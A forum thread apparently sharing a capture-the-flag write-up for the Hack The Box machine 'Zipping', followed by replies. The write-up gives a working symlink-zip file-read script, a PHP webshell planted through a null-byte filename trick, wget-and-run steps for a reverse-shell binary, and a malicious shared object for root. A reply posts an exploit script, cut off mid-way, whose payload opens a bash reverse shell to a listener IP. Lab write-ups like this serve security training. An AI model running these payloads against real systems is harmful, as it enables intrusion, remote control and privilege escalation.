Temporary Advertisements:
Ad
Ad
Ad
[FREE] HTB Zipping - DETAILED WRITE-UP
by Mandelio - Monday August 28, 2023 at 12:55 AM
#1
Hi guys! I'm releasing my second writeup on here.
This time I converted from Markdown to BBCode so it's much more readable.

As always, it includes my thought process and an explanation of what's actually happening. I'll also include an autopwn script soon Smile
[hide cost="8"]
Enumeration
Let's start with a nmap scan.
# Nmap 7.94 scan initiated Sun Aug 27 01:57:16 2023 as: nmap -Pn -sC -sV -oN ./nmap_scan -p - 10.129.129.59
Nmap scan report for 10.129.129.59
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE VERSION
22/tcp open  ssh    OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 27 02:05:45 2023 -- 1 IP address (1 host up) scanned in 509.56 seconds
I'll create an entry in /etc/hosts just for my convenience.
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ echo -e "10.129.129.59\tzipping.htb" | sudo tee -a /etc/hosts
[sudo] password for imagine:
10.129.129.59  zipping.htb
Let's browse the website without launching any directory search and see if we spot something interesting, I'll also run whatweb to get a general idea of what server I'm dealing with
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ whatweb http://zipping.htb/
http://zipping.htb/ [200 OK] Apache[2.4.54], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.54 (Ubuntu)], IP[10.129.129.59], JQuery[3.4.1], Meta-Author[Devcrud], PoweredBy[precision], Script, Title[Zipping | Watch store]
There's only one interesting endpoint, /upload.php, which states the following
[...] The application will only accept zip files, inside them there must be a pdf file [...].
We also know that it's running php by the extension present in the filenames (although we don't know which version).
At this point I'll launch a directory search, even if I'm not expecting anything to pop up. And... as expected got nothing.
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http://zipping.htb/FUZZ" -ic -r
        /'___\  /'___\          /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\  \ \_\  \ \____/  \ \_\
          \/_/    \/_/  \/___/    \/_/
      v2.0.0-dev
________________________________________________
:: Method          : GET
:: URL              : http://zipping.htb/FUZZ
:: Wordlist        : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
:: Follow redirects : true
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
                        [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 127ms]
uploads                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 129ms]
shop                    [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 133ms]
assets                  [Status: 200, Size: 1690, Words: 112, Lines: 21, Duration: 128ms]
                        [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 129ms]
:: Progress: [81630/81630] :: Job [1/1] :: 294 req/sec :: Duration: [0:04:35] :: Errors: 0 ::
Just to be sure, I'll also try with virtual hosts. And... as expected again, we got nothing!
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -r -u "http://zipping.htb/" -H "Host: FUZZ.zipping.htb" -ic --fs 16738
        /'___\  /'___\          /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\  \ \_\  \ \____/  \ \_\
          \/_/    \/_/  \/___/    \/_/
      v2.0.0-dev
________________________________________________
:: Method          : GET
:: URL              : http://zipping.htb/
:: Wordlist        : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header          : Host: FUZZ.zipping.htb
:: Follow redirects : true
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
:: Filter          : Response size: 16738
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 298 req/sec :: Duration: [0:05:46] :: Errors: 0 ::
This means that we have to work with that /upload.php endpoint...
First of all, let's see what happens when we upload a legit file. Upon uploading the file we see the following behavior
  • A status message is generated telling us that everything went OK and some staff member will review it soon (possible XSS?)
  • An URL is generated, in my case http://zipping.htb/uploads/79d755db4280f...uropeo.pdf
    Now I'll try with a zip containing a symlink to /etc/passwd which name will be curriculum.pdf, let's see what happens...
    These are the commands that I used to generated the zip archive
    ╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
    ╰─λ ln -sf /etc/passwd curriculum.pdf
    ╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
    ╰─λ zip --symlinks application.zip curriculum.pdf
    adding: curriculum.pdf (stored 0%)

Upon uploading the file we successfully get the URL but, when we try to open the URL in the browser, we get an error saying that it failed to load the PDF document. I suspect this has to do with how modern browsers handle URLs ending with .pdf so I'll do a GET with curl and see if I can get something...
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ curl http://zipping.htb/uploads/cabfc9ca9ae33540fa1435106764ba38/curriculum.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
Yes! We got LFI! From this /etc/passwd file we can see that there is an user named rektsu.
I'll write a Python script to facilitate the creation and the read process.
#!/usr/bin/env python3
import requests
import subprocess
import re
# import zipfile #: Will just generate the zip using subprocess
import random
import string
def random_string(length: int) -> str:
    return "".join(random.choice(string.ascii_letters) for _ in range(length))
URL = "http://zipping.htb"
UPLOAD = "/upload.php"
HREF_REGEX = r'<a href="([^"]+)">'
def create_symlink(path: str) -> None:
    global SYMLINK_FILENAME
    SYMLINK_FILENAME = random_string(10) + ".pdf"
    subprocess.run(f"ln -sf {path} {SYMLINK_FILENAME}".split())
def refresh_zip() -> None:
    global ZIP_FILENAME
    ZIP_FILENAME = random_string(10) + ".zip"
    subprocess.run(f"zip --symlinks {ZIP_FILENAME} {SYMLINK_FILENAME}".split(), stdout=subprocess.DEVNULL)
    subprocess.run(f"rm {SYMLINK_FILENAME}".split())
def upload_zip() -> str:
    files = { "zipFile": open(ZIP_FILENAME, "rb") }
    data = { "submit": "" }
    response = requests.post(URL + UPLOAD, files=files, data=data)
    subprocess.run(f"rm {ZIP_FILENAME}".split())
    return "/" + re.findall(HREF_REGEX, response.text)[1]
def get_file(upload_uri: str) -> str:
    response = requests.get(URL + upload_uri)
    return response.text.strip()
def routine(path: str) -> str:
    create_symlink(path)
    refresh_zip()
    uri = upload_zip()
    return get_file(uri)
def interactive() -> None:
    import readline
    while True:
        path = input("lfi> ")
        content = routine(path)
        print(content)
        if "save" in path:
            splitted = path.split(" ")
            if len(splitted) != 3:
                print("Usage: <lfi> save <filename>, example \"../index.php save index.php\"")
                continue
            with open(splitted[2], "w+") as f:
                f.write(content)
if __name__ == "__main__":
    interactive()
Now, let's leak the source code of this application, in order to do so I'll use relative paths since it would be much harder to find the absolute path... We can successfully get the upload.php file by going back of 2 directories.
lfi> ../../upload.php
updating: curriculum.pdf (stored 0%)
<html>
<html lang="en">
<head>
        <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Start your development with Creative Design landing page.">
    <meta name="author" content="Devcrud">
    <title>Zipping | Watch store</title>
    <!-- font icons -->
    <link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">
    <!-- Bootstrap + Creative Design main styles -->
        <link rel="stylesheet" href="assets/css/creative-design.css">
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">
    <!-- Page Header -->
    <header class="header header-mini">
      <div class="header-title">Work with Us</div>
      <nav aria-label="breadcrumb">
        <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
            <li class="breadcrumb-item active" aria-current="page">Work with Us</li>
        </ol>
      </nav>
    </header> <!-- End Of Page Header -->
    <section id="work" class="text-center">
        <!-- container -->
        <div class="container">
            <h1>WORK WITH US</h1>
            <p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p>
            <?php
            if(isset($_POST['submit'])) {
              // Get the uploaded zip file
              $zipFile = $_FILES['zipFile']['tmp_name'];
              if ($_FILES["zipFile"]["size"] > 300000) {
                echo "<p>File size must be less than 300,000 bytes.</p>";
              } else {
                // Create an md5 hash of the zip file
                $fileHash = md5_file($zipFile);
                // Create a new directory for the extracted files
                $uploadDir = "uploads/$fileHash/";
                // Extract the files from the zip
                $zip = new ZipArchive;
                if ($zip->open($zipFile) === true) {
                  if ($zip->count() > 1) {
                  echo '<p>Please include a single PDF file in the archive.<p>';
                  } else {
                  // Get the name of the compressed file
                  $fileName = $zip->getNameIndex(0);
                  if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
                    mkdir($uploadDir);
                    echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
                    echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
                  } else {
                    echo "<p>The unzipped file must have  a .pdf extension.</p>";
                  }
                }
                } else {
                  echo "Error uploading file.";
                }
              }
            }
            ?>
            <!-- Submit File -->
            <form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
              <div class="mb-3">
                <input type="file" class="form-control" name="zipFile" accept=".zip">
              </div>
              <button type="submit" class="btn btn-primary" name="submit">Upload</button>
            </form><!-- End submit file -->
        </div><!-- End of Container-->
    </section><!-- End of Contact Section -->
    <!-- Section -->
    <section class="pb-0">
        <!-- Container -->
        <div class="container">
            <!-- Pre footer -->
            <div class="pre-footer">
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">ABOUT US</h6>
                    </li>
                    <li class="list-body">
                      <p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>
                      <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
                    </li>
                </ul>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">USEFUL LINKS</h6>
                    </li>
                    <li class="list-body">
                        <div class="row">
                            <div class="col">
                                <a href="#">Link 1</a>
                                <a href="#">Link 2</a>
                                <a href="#">Link 3</a>
                                <a href="#">Link 4</a>
                            </div>
                            <div class="col">
                                <a href="#">Link 5</a>
                                <a href="#">Link 6</a>
                                <a href="#">Link 7</a>
                                <a href="#">Link 8</a>
                            </div>
                        </div>
                    </li>
                </ul>
                <ul class="list">
                    <li class="list-head">
                        <h6 class="font-weight-bold">CONTACT INFO</h6>
                    </li>
                    <li class="list-body">
                        <p>Contact us and we'll get back to you within 24 hours.</p>
                        <p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p>
                        <p><i class="ti-email"></i>  [email protected]</p>
                        <div class="social-links">
                            <a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-google"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a>
                            <a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a>
                        </div>
                    </li>
                </ul>
            </div><!-- End of Pre footer -->
            <!-- foooter -->
            <footer class="footer">
                <p>Made by <a href="https://github.com/xdann1">xDaNN1</p>
            </footer><!-- End of Footer-->
        </div><!--End of Container -->
    </section><!-- End of Section -->
</body>
</html>
It may seem vulnerable to RCE at a first sight because of
exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
but, in reality, it's not actually getting our provided filename but instead the temporary filename that php generates.
Remember that there was a /shop endpoint? Let's try to leak these files... Initially, when we go to the /shop endpoint, there is only one file: index.php which has the following contents
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
Basically what this does is loading the php file passed to the GET parameter page.
By browsing the website, we end up with the following lists of file to leak
paths = [
    ("../../index.php", "index.php"),
    ("../../upload.php", "upload.php"),
    ("../../shop/index.php", "shop_index.php"),
    ("../../shop/cart.php", "shop_cart.php"),
    ("../../shop/product.php", "shop_product.php"),
    ("../../shop/products.php", "shop_products.php"),
    ("../../shop/placeorder.php", "shop_placeorder.php"),
]
Let's analyze each of these files and see if we can find something interesting. In shop_cart.php there is the following:
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
    echo '';
} else {
    // Construct the SQL statement with a vulnerable parameter
    $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
    // Execute the SQL statement without any sanitization or parameter binding
    $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
It seems like it could be bypassed with a newline, but I will also look into other files before diving into this. We have the same vulnerability in shop_product.php
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
    header('Location: index.php');
} else {
    // Prepare statement and execute, but does not prevent SQL injection
    $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
    $stmt->execute();
User
We can crash the app (we get a 500 HTTP Status Code) by going to /shop/index.php?page=product&id=%0a'1, however, we can't get anything more than that. We will have to go with some other way, for example we could try with a null byte injection in the zipped filename since, if you noticed, it uses the name of the file inside the zip archive. What we will do is create a file containing a php webshell with the name webshell.php0.pdf then, using an hex editor, we will replace that 0 with an actual null byte; what will happen is that, if this goes as expected, the server will extract the file as webshell.php and thus execute it.  Here's how I created the file
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ls -la
total 76
drwxr-xr-x  2 imagine imagine  4096 Aug 27 23:39 ./
drwxr-xr-x 24 imagine imagine  4096 Aug 27 01:12 ../
-rw-r--r--  1 imagine imagine  2320 Aug 27 22:44 auto_lfi.py
-rw-r--r--  1 imagine imagine 16742 Aug 27 22:44 index.php
-rw-r--r--  1 root    root      849 Aug 27 02:05 nmap_scan
-rw-r--r--  1 imagine imagine  6783 Aug 27 22:44 shop_cart.php
-rw-r--r--  1 imagine imagine  406 Aug 27 22:44 shop_index.php
-rw-r--r--  1 imagine imagine  253 Aug 27 22:44 shop_placeorder.php
-rw-r--r--  1 imagine imagine  1918 Aug 27 22:44 shop_product.php
-rw-r--r--  1 imagine imagine  2147 Aug 27 22:44 shop_products.php
-rw-r--r--  1 imagine imagine  691 Aug 27 22:53 sqlmap.req
-rw-r--r--  1 imagine imagine  6991 Aug 27 22:44 upload.php
-rw-r--r--  1 imagine imagine  300 Aug 27 23:39 webshell.php0.pdf
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ cat webshell.php0.pdf
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ zip curriculum.zip webshell.php0.pdf
  adding: webshell.php0.pdf (deflated 32%)
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ghex curriculum.zip
Here I opened an Hex Editor and replaced the 0 in the filename to a null byte (00).
We successfully get an URL as response with a space in there, if we remove the %20.pdf we successfully get a webshell and thus can successfully execute commands.
At this point, we only have to get a real shell.  What I did to get a real shell is to upload on the server reverse-sshx64 by running a wget via the webshell, and then execute it so, summarizing in steps:
  1. LOCAL - Create an HTTP server in the reverse-sshx64 directory, python -m http.server 7777
  2. WEBSHELL - Get reverse-sshx64, wget http://IP:PORT/reverse-sshx64 -O /tmp/reverse-sshx64
  3. WEBSHELL - Make reverse-sshx64 executable, chmod +x /tmp/reverse-sshx64
  4. LOCAL - Start reverse-sshx64 listener, ./reverse-sshx64 -v -l
  5. WEBSHELL - Connect to reverse-sshx64 server, /tmp/reverse-sshx64 IP
  6. LOCAL - Login as user via SSH, ssh -p 8888 localhost

Root
Now that we are inside the machine, let's start the classic enumeration by uploading LinPEAS. After executing a LinPEAS scan, really nothing stood up. At this point, let's see if there is something interesting running with pspy64. Can't see anything interesting even if I left pspy64 running for 10+ minutes. There isn't anything in /opt and /dev/shm too... I forgot that even if we don't know the password of the user, there could still be the option of a NOPASSWD entry lol... If we run sudo -l we can see that there is a binary, let's get it via sftp and reverse engineer it using Ghidra.
This is how the main function looks after being retyped with human readable variables
undefined8 main(void)
{
  int iVar1;
  undefined8 uVar2;
  int *piVar3;
  int amount_choice;
  int warranty_choice;
  int exclusive_choice;
  int quality_choice;
  int colour_choice;
  char key [8];
  byte encrypted [34];
  char password [44];
  int choice;
  uint local_88 [4];
  uint local_78;
  uint local_74;
  uint local_70;
  uint local_6c;
  uint local_68;
  uint local_64;
  FILE *stock_csv_fd;
  uint not_warranty;
  uint yes_warranty;
  uint not_exclusive;
  uint yes_exclusive;
  uint amount_poor;
  uint amount_average;
  uint amount_excellent;
  uint amount_silver;
  uint amount_gold;
  uint amount_black;
  undefined8 local_28;
  char *reference_to_lf;
  char *stock_csv;
  int i;
  stock_csv = "/root/.stock.csv";
  printf("Enter the password: ");
  fgets(password,30,stdin);
  reference_to_lf = strchr(password,10);
  if (reference_to_lf != (char *)0x0) {
    *reference_to_lf = '\0';
  }
  iVar1 = checkAuth(password);
  if (iVar1 == 0) {
    puts("Invalid password, please try again.");
    uVar2 = 1;
  }
  else {
    encrypted[0] = 0x67;
    encrypted[1] = 9;
    encrypted[2] = 4;
    encrypted[3] = 0xc;
    encrypted[4] = 0xc;
    encrypted[5] = 0x55;
    encrypted[6] = 0x17;
    encrypted[7] = 0x2d;
    encrypted[8] = 10;
    encrypted[9] = 0x1f;
    encrypted[10] = 0x12;
    encrypted[11] = 0x1c;
    encrypted[12] = 0x55;
    encrypted[13] = 0x4b;
    encrypted[14] = 0x2b;
    encrypted[15] = 0xe;
    encrypted[16] = 5;
    encrypted[17] = 7;
    encrypted[18] = 0;
    encrypted[19] = 0x1d;
    encrypted[20] = 0x4a;
    encrypted[21] = 0x24;
    encrypted[22] = 8;
    encrypted[23] = 9;
    encrypted[24] = 2;
    encrypted[25] = 6;
    encrypted[26] = 0xf;
    encrypted[27] = 0xb;
    encrypted[28] = 0x3c;
    encrypted[29] = 4;
    encrypted[30] = 0x19;
    encrypted[31] = 0x4f;
    encrypted[32] = 0x1a;
    encrypted[33] = 0x15;
    key[0] = 'H';
    key[1] = 'a';
    key[2] = 'k';
    key[3] = 'a';
    key[4] = 'i';
    key[5] = 'z';
    key[6] = 'e';
    key[7] = '\0';
    XOR((char *)encrypted,34,key,8);
    local_28 = dlopen(encrypted,1);
    amount_black = 0;
    amount_gold = 0;
    amount_silver = 0;
    amount_excellent = 0;
    amount_average = 0;
    amount_poor = 0;
    yes_exclusive = 0;
    not_exclusive = 0;
    yes_warranty = 0;
    not_warranty = 0;
    while (choice != 3) {
      puts("\n================== Menu ==================\n");
      puts("1) See the stock");
      puts("2) Edit the stock");
      puts("3) Exit the program\n");
      printf("Select an option: ");
      __isoc99_scanf(&DAT_001020e0,&choice);
      if (choice == 1) {
        stock_csv_fd = fopen(stock_csv,"r");
        if (stock_csv_fd == (FILE *)0x0) {
          piVar3 = __errno_location();
          if (*piVar3 == 0xd) {
            printf("You do not have permissions to read the file");
          }
          else {
            puts("File could not be opened.");
          }
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        for (i = 0; i < 10; i = i + 1) {
          __isoc99_fscanf(stock_csv_fd,&DAT_0010212f,local_88 + i);
        }
        fclose(stock_csv_fd);
        amount_black = local_88[0];
        amount_gold = local_88[1];
        amount_silver = local_88[2];
        amount_excellent = local_88[3];
        amount_average = local_78;
        amount_poor = local_74;
        yes_exclusive = local_70;
        not_exclusive = local_6c;
        yes_warranty = local_68;
        not_warranty = local_64;
        puts("\n================== Stock Actual ==================\n");
        puts("Colour    Black  Gold    Silver");
        printf("Amount    %-7d %-7d %-7d\n\n",(ulong)amount_black,(ulong)amount_gold,
              (ulong)amount_silver);
        puts("Quality  Excelent Average Poor");
        printf("Amount    %-9d %-7d %-4d\n\n",(ulong)amount_excellent,(ulong)amount_average,
              (ulong)amount_poor);
        puts("Exclusive Yes    No");
        printf("Amount    %-4d  %-4d\n\n",(ulong)yes_exclusive,(ulong)not_exclusive);
        puts("Warranty  Yes    No");
        printf("Amount    %-4d  %-4d\n\n",(ulong)yes_warranty,(ulong)not_warranty);
      }
      else if (choice == 2) {
        stock_csv_fd = fopen(stock_csv,"r");
        if (stock_csv_fd == (FILE *)0x0) {
          puts("File could not be opened.");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        for (i = 0; i < 10; i = i + 1) {
          __isoc99_fscanf(stock_csv_fd,&DAT_0010212f,local_88 + i);
        }
        fclose(stock_csv_fd);
        puts("\n================== Edit Stock ==================\n");
        puts("Enter the information of the watch you wish to update:");
        printf("Colour (0: black, 1: gold, 2: silver): ");
        __isoc99_scanf(&DAT_001020e0,&colour_choice);
        printf("Quality (0: excelent, 1: average, 2: poor): ");
        __isoc99_scanf(&DAT_001020e0,&quality_choice);
        printf("Exclusivity (0: yes, 1: no): ");
        __isoc99_scanf(&DAT_001020e0,&exclusive_choice);
        printf("Warranty (0: yes, 1: no): ");
        __isoc99_scanf(&DAT_001020e0,&warranty_choice);
        printf("Amount: ");
        __isoc99_scanf(&DAT_001020e0,&amount_choice);
        if (((((colour_choice < 0) || (2 < colour_choice)) || (quality_choice < 0)) ||
            ((2 < quality_choice || (exclusive_choice < 0)))) ||
          ((1 < exclusive_choice || ((warranty_choice < 0 || (1 < warranty_choice)))))) {
          puts("Error: The information entered is incorrect");
        }
        else {
          amount_black = local_88[0];
          if (colour_choice == 0) {
            amount_black = amount_choice + local_88[0];
          }
          amount_gold = local_88[1];
          if (colour_choice == 1) {
            amount_gold = amount_choice + local_88[1];
          }
          amount_silver = local_88[2];
          if (colour_choice == 2) {
            amount_silver = amount_choice + local_88[2];
          }
          amount_excellent = local_88[3];
          if (quality_choice == 0) {
            amount_excellent = amount_choice + local_88[3];
          }
          amount_average = local_78;
          if (quality_choice == 1) {
            amount_average = amount_choice + local_78;
          }
          amount_poor = local_74;
          if (quality_choice == 2) {
            amount_poor = amount_choice + local_74;
          }
          yes_exclusive = local_70;
          if (exclusive_choice == 0) {
            yes_exclusive = amount_choice + local_70;
          }
          not_exclusive = local_6c;
          if (exclusive_choice == 1) {
            not_exclusive = amount_choice + local_6c;
          }
          yes_warranty = local_68;
          if (warranty_choice == 0) {
            yes_warranty = amount_choice + local_68;
          }
          not_warranty = local_64;
          if (warranty_choice == 1) {
            not_warranty = amount_choice + local_64;
          }
          stock_csv_fd = fopen(stock_csv,"w");
          if (stock_csv_fd == (FILE *)0x0) {
            puts("File could not be opened.");
                    /* WARNING: Subroutine does not return */
            exit(1);
          }
          fprintf(stock_csv_fd,"%d,%d,%d,%d,%d,%d,%d,%d,%d,%d",(ulong)amount_black,
                  (ulong)amount_gold,(ulong)amount_silver,(ulong)amount_excellent,
                  (ulong)amount_average,(ulong)amount_poor,(ulong)yes_exclusive,(ulong)not_exclusive
                  ,(ulong)yes_warranty,(ulong)not_warranty);
          fclose(stock_csv_fd);
          puts("The stock has been updated correctly.");
        }
      }
    }
    uVar2 = 0;
  }
  return uVar2;
}
Note that there is the checkAuth function, this function just checks if the passed string is St0ckM4nager.
Now let's see what actually gets passed to dlopen.
#: Content of the first parameter passed to the XOR function
encrypted = [103, 9, 4, 12, 12, 85, 23, 45, 10, 31, 18, 28, 85, 75, 43, 14, 5, 7, 0, 29, 74, 36, 8, 9, 2, 6, 15, 11, 60, 4, 25, 79, 26, 21]
#: Content of the third parameter passed to the XOR function (without the NULL byte at the end)
key = "Hakaize"
decrypted = bytes([byte ^ ord(key[i % len(key)]) for i, byte in enumerate(encrypted)])
for char in decrypted:
    try:
        print(chr(char), end="")
    except:
        pass
This prints /home/rektsu/.config/libcounter.so. At this point is pretty obvious what we have to do. What we will do is create a shared object that sets the RUID and EUID to 0 and then calls /bin/bash -p when it is loaded, here is how C code looks in order to do that:
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) run_me_first() {
    setreuid(0, 0);
    system("/bin/bash -p");
}
The __attribute__((constructor)) part is for telling that the code should be executed whenever the library is loaded. At this point we can compile the shared object like this
gcc -shared -o libcounter.so -fPIC libcounter.c
Since I couldn't compile on the target machine, I compiled it on my machine and then downloaded it on the target.
Now that we have our malicious libcounter.so placed at /home/rektsu/.config, we can run sudo /usr/bin/stock and a shell should just pop up!
rektsu@zipping:/home/rektsu/.config$ wget http://10.10.14.233:7777/libcounter.so
--2023-08-28 00:24:37--  http://10.10.14.233:7777/libcounter.so
Connecting to 10.10.14.233:7777... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15056 (15K) [application/octet-stream]
Saving to: 'libcounter.so'
libcounter.so                                              100%[=======================================================================================================================================>]  14.70K  --.-KB/s    in 0.1s
2023-08-28 00:24:38 (109 KB/s) - 'libcounter.so' saved [15056/15056]
rektsu@zipping:/home/rektsu/.config$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)
GGs!
[/hide]
Reply
#2
My dude! Thank you for sharing this.
Reply
#3
i wrote a script to get reverse shell for user.
start nc port 9001 and then run like this: python script.py -L <your-IP> -R <target-IP>

from struct import pack
import argparse
import zlib
import requests

parser = argparse.ArgumentParser(description='Exploit Zipper')
parser.add_argument('-L', '--listener_ip', help='listener ip')
parser.add_argument('-R', '--target_ip', help='target ip')
args = parser.parse_args()

filename1 = b'rev.php.pdf'
filename2 = b'rev.php\x00.pdf'

filecontent = b"""<?php system("bash -c 'bash -i >& /dev/tcp/"""+args.listener_ip.encode()+b"""/9001 0>&1'"); ?>"""
length = len(filecontent)
crc = zlib.crc32(filecontent)


p  = b''
p += b'\x50\x4b\x03\x04' # magic bytes
p += b'\x14\x00' # version
p += b'\x00\x00' # flags
p += b'\x00\x00' # compression
p += b'\x48\xb9' # modtime
p += b'\x1b\x57' # moddate
p += pack("<L", crc) # crc
p += pack("<L", length) # compressed size
p += pack("<L", length) # uncompressed size
p += pack("<H", len(filename1)) # filename len
p += b'\x00\x00' # extra field len
p += filename1
p += filecontent

# central directory
cd  = b''
cd += b'\x50\x4b\x01\x02' # magic bytes
cd += b'\x14\x03' # version
cd += b'\x14\x00' # version needed
cd += b'\x00\x00' # flags
cd += b'\x00\x00' # compression
